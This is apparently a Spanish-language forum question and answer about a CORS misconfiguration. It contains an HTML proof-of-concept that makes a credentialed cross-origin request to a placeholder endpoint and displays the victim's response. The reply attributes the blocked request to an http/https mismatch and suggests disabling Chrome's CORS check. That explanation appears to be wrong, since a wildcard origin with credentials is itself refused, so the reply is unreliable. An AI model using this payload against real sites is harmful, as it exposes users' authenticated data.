Encontré un punto final que parece ser vulnerable a la configuración incorrecta de CORS y probé este POC:
<html> <body> <div id="poc"> <button type="button" onclick="cors()"></button> </div> <script> function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("poc").innerHTML = alert(this.responseText); } }; xhttp.open("GET", "https://somedomain.com/vulnerable/endpoint", true); xhttp.withCredentials = true; xhttp.send(); } </script>Esos encabezados se reflejan en la respuesta:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
si el usuario no está autenticado, devuelve 401 por defecto
¿Por qué me bloquean mi solicitud?
Si está enviando esto desde localhost, el cliente está ejecutando http. Pero está solicitando un servidor https. Es por eso que muestra los errores. Sin embargo, puede deshabilitar la comprobación de CORS en Chrome. https://alfilatov.com/posts/run-chrome-sin-cors/